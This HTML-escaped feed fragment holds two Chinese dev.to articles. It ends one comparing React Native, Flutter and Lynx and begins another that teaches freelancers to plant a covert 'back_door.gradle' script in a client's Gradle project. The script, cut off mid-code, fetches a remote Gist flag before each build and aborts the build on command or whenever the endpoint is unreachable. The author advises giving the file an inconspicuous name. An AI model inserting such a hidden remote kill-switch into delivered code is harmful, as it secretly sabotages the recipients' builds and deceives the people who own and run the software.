&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@lynx-js/react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./App.css&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;arrow&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./assets/arrow.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;lynxLogo&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./assets/lynx-logo.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;reactLynxLogo&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./assets/react-logo.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setAlterLogo&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello, ReactLynx&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;onTap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;background-only&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;setAlterLogo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Background&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;App&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Banner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Logo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;bindtap&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;onTap&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;
              &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;reactLynxLogo&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Logo--react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
              &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;lynxLogo&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Logo--lynx&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Title&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Subtitle&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="nx"&gt;Lynx&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;arrow&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Arrow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Tap&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;logo&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;have&lt;/span&gt; &lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="o"&gt;!&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hint&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nx"&gt;Edit&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;fontStyle&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;italic&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; src/App.tsx &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;            &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;see&lt;/span&gt; &lt;span class="nx"&gt;updates&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/page&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. 总体对比分析 🧠
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;React Native&lt;/th&gt;
&lt;th&gt;Flutter&lt;/th&gt;
&lt;th&gt;Lynx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;上手门槛&lt;/td&gt;
&lt;td&gt;中（前端开发者较易上手）&lt;/td&gt;
&lt;td&gt;中偏高（需掌握 Dart 语言）&lt;/td&gt;
&lt;td&gt;高（文档缺乏，仅限企业内部使用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;构建速度&lt;/td&gt;
&lt;td&gt;快&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;td&gt;极快&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;打包体积&lt;/td&gt;
&lt;td&gt;较大（约 205MB）&lt;/td&gt;
&lt;td&gt;极小（约 19MB）&lt;/td&gt;
&lt;td&gt;中等偏大（约 145MB）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;动画与渲染性能&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;td&gt;高（自绘引擎优势明显）&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原生扩展能力&lt;/td&gt;
&lt;td&gt;强&lt;/td&gt;
&lt;td&gt;强&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;开源与生态&lt;/td&gt;
&lt;td&gt;开源活跃，社区庞大&lt;/td&gt;
&lt;td&gt;开源增长快，支持良好&lt;/td&gt;
&lt;td&gt;闭源，社区和资源有限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;典型适用场景&lt;/td&gt;
&lt;td&gt;MVP 快速开发、轻量级应用&lt;/td&gt;
&lt;td&gt;高性能跨端应用、复杂 UI 交互&lt;/td&gt;
&lt;td&gt;内嵌业务页面、IoT、信息流容器型场景&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;未来趋势展望 🔮&lt;br&gt;
Flutter：生态持续扩大，Google 主推，Web 与桌面支持不断加强；&lt;br&gt;
React Native：靠 Expo/Fabric/TurboModule 向现代架构演进；&lt;br&gt;
Lynx：可能会被 WASM + WebCanvas 替代，作为专用容器存在于巨头内部。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;没有银弹，选框架要理性。&lt;br&gt;
看业务场景、团队技术栈、长期维护成本，再决定用什么。&lt;br&gt;
技术测评，只说真话，不贴 logo，帮你避坑不踩雷！&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>reactnative</category>
      <category>flutter</category>
      <category>lynx</category>
    </item>
    <item>
      <title>不打包，打款先：基于 Gradle 的构建开关设计</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sun, 22 Jun 2025 11:33:39 +0000</pubDate>
      <link>https://dev.to/ctkqiang/bu-da-bao-da-kuan-xian-ji-yu-gradle-de-gou-jian-kai-guan-she-ji-1k68</link>
      <guid>https://dev.to/ctkqiang/bu-da-bao-da-kuan-xian-ji-yu-gradle-de-gou-jian-kai-guan-she-ji-1k68</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 当您遇到无赖时，咋办？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这不是一个哲学问题，而是每一个做项目的程序员迟早会遇到的&lt;strong&gt;现实难题&lt;/strong&gt;。&lt;br&gt;
你加班熬夜写功能，对方上线就用，测试也不测，交付后却突然开始装死：“嗯嗯，试用一下再看要不要续费。” 或 “哎哟～只是简单的代码嘛～至于吗？ DeepSeek 都能写出来了， 至于计较吗？”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;要授权不给授权，要支持不给支持，甚至明目张胆跑到别的服务器把你辛辛苦苦写的系统复制粘贴，理直气壮开源给他全公司同事用。&lt;/p&gt;

&lt;p&gt;👀 这时候你是选择原谅他？还是礼貌开战？&lt;/p&gt;

&lt;p&gt;哼！礼貌？ 我就不～ 😤🙂‍↔️&lt;/p&gt;

&lt;h2&gt;
  
  
  软件开发不是慈善，付费是尊重！
&lt;/h2&gt;

&lt;p&gt;在我们程序员的世界里，最宝贵的不是代码，而是心血和专业积累。&lt;/p&gt;

&lt;p&gt;所以我写了一个专为「对抗无赖」设计的小工具...........一个轻量级、不可见、优雅、高效、有文化有威慑力的授权验证守护程序。&lt;/p&gt;




&lt;h2&gt;
  
  
  为什么要做这个？
&lt;/h2&gt;

&lt;p&gt;在我们做外包 / 项目交付 / App 定制化开发的时候，常见一种客户类型：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“能不能先给我一个 APK？我们内部先看看。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;然后是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“我看你这包是能打出来的，那交付就是完成了嘛！我尾款晚点结~”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;再然后是：&lt;strong&gt;你打的包，被他们改名、上传、上线、变现。尾款没了，人也拉黑了。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;如果你做的是 &lt;code&gt;Flutter&lt;/code&gt;、&lt;code&gt;React Native&lt;/code&gt;、原生 &lt;code&gt;Android (Kotlin/Java)&lt;/code&gt; 项目，哪怕不给源码，只要有 &lt;code&gt;flutter build apk&lt;/code&gt; 或 &lt;code&gt;./gradlew assembleRelease&lt;/code&gt; 权限，他们就能绕过你。&lt;/p&gt;

&lt;p&gt;这，就是我们为什么要写一个远程构建许可系统。&lt;/p&gt;




&lt;h2&gt;
  
  
  系统目标
&lt;/h2&gt;

&lt;p&gt;🚫 尾款未支付 → 客户无法构建应用包&lt;br&gt;
✅ 支付尾款后 → 远程解锁构建权限&lt;br&gt;
🎯 远程控制，一行都不用改源码即可强控构建流程&lt;br&gt;
🛡️ 支持 Flutter、React Native、Java/Kotlin Android、Unity 等所有 Gradle 项目&lt;/p&gt;


&lt;h2&gt;
  
  
  系统原理：一句话总结
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;“在 Gradle 构建流程开始前，远程请求一个 JSON 接口，决定构建是否允许继续。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这个 JSON 配置长这样：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;当 &lt;code&gt;x = true&lt;/code&gt; 时，构建将被强制中止。&lt;/li&gt;
&lt;li&gt;当 &lt;code&gt;x = false&lt;/code&gt; 时，构建流程正常继续。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;h2&gt;
  
  
  ⚠️ 默认策略是：如果无法连接接口（超时/错误），构建也会被禁止，确保安全优先。
&lt;/h2&gt;
&lt;h2&gt;
  
  
  快速集成指南
&lt;/h2&gt;
&lt;h3&gt;
  
  
  第一步：编写构建控制脚本
&lt;/h3&gt;

&lt;p&gt;命名为 &lt;code&gt;back_door.gradle&lt;/code&gt;（或你喜欢的名字，如 &lt;code&gt;config.gradle&lt;/code&gt;, &lt;em&gt;请不要取太明显的命名&lt;/em&gt;）&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;
&lt;span class="c1"&gt;// 🌸 构建许可控制脚本&lt;/span&gt;
&lt;span class="c1"&gt;// 可嵌入到 settings.gradle 中，以远程配置形式启用/禁用构建功能。&lt;/span&gt;
&lt;span class="c1"&gt;// 用途：防止客户未付款擅自构建 APK，或用于控制构建许可。&lt;/span&gt;
&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;

&lt;span class="c1"&gt;// ✅ 加载 Groovy JSON 解析器&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;groovy.json.JsonSlurper&lt;/span&gt;

&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;
&lt;span class="c1"&gt;// 📡 配置你的远程许可接口（必须返回 JSON 格式）&lt;/span&gt;
&lt;span class="c1"&gt;// 格式示例：{ "x": true }&lt;/span&gt;
&lt;span class="c1"&gt;// - 当 x 为 true：锁定构建（阻止 build）&lt;/span&gt;
&lt;span class="c1"&gt;// - 当 x 为 false：允许构建&lt;/span&gt;
&lt;span class="c1"&gt;//  @Warning 📝 请替换为你自己的远程接口地址（例如：Gist RAW 链接）&lt;/span&gt;
&lt;span class="c1"&gt;// 示例：https://gist.githubusercontent.com/ctkqiang/4931614d2eea62680c5c6b71d81affed/raw/cdbe7331280c6f5fd00e4e321e7afd25f064b41a/block.json&lt;/span&gt;
&lt;span class="c1"&gt;// 🌐 该接口必须返回 JSON 格式内容，字段结构如下：&lt;/span&gt;
&lt;span class="c1"&gt;//   {&lt;/span&gt;
&lt;span class="c1"&gt;//     "x": true  // 或 false&lt;/span&gt;
&lt;span class="c1"&gt;//   }&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// 字段说明：&lt;/span&gt;
&lt;span class="c1"&gt;//   - 当 "x": true 时，将禁止执行构建（即构建锁定/封锁）&lt;/span&gt;
&lt;span class="c1"&gt;//   - 当 "x": false 时，允许正常构建&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// 🚧 你可以用这个机制对客户 Flutter 项目的构建行为进行权限控制，&lt;/span&gt;
&lt;span class="c1"&gt;//    例如：尾款未支付时禁止其生成正式 APK 包。&lt;/span&gt;
&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;
&lt;span class="kt"&gt;def&lt;/span&gt; &lt;span class="n"&gt;endpoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"https://gist.githubusercontent.com/ctkqiang/4931614d2eea62680c5c6b71d81affed/raw/cdbe7331280c6f5fd00e4e321e7afd25f064b41a/block.json"&lt;/span&gt;

&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;
&lt;span class="c1"&gt;// 🚀 检查当前执行的 Gradle 任务是否包含构建相关命令&lt;/span&gt;
&lt;span class="c1"&gt;// 避免在 IDE 同步项目（非构建行为）时触发远程接口调用&lt;/span&gt;
&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;
&lt;span class="kt"&gt;def&lt;/span&gt; &lt;span class="n"&gt;taskList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;gradle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startParameter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;taskNames&lt;/span&gt;
&lt;span class="kt"&gt;def&lt;/span&gt; &lt;span class="n"&gt;isBuildTask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;taskList&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;any&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;def&lt;/span&gt; &lt;span class="n"&gt;lower&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toLowerCase&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
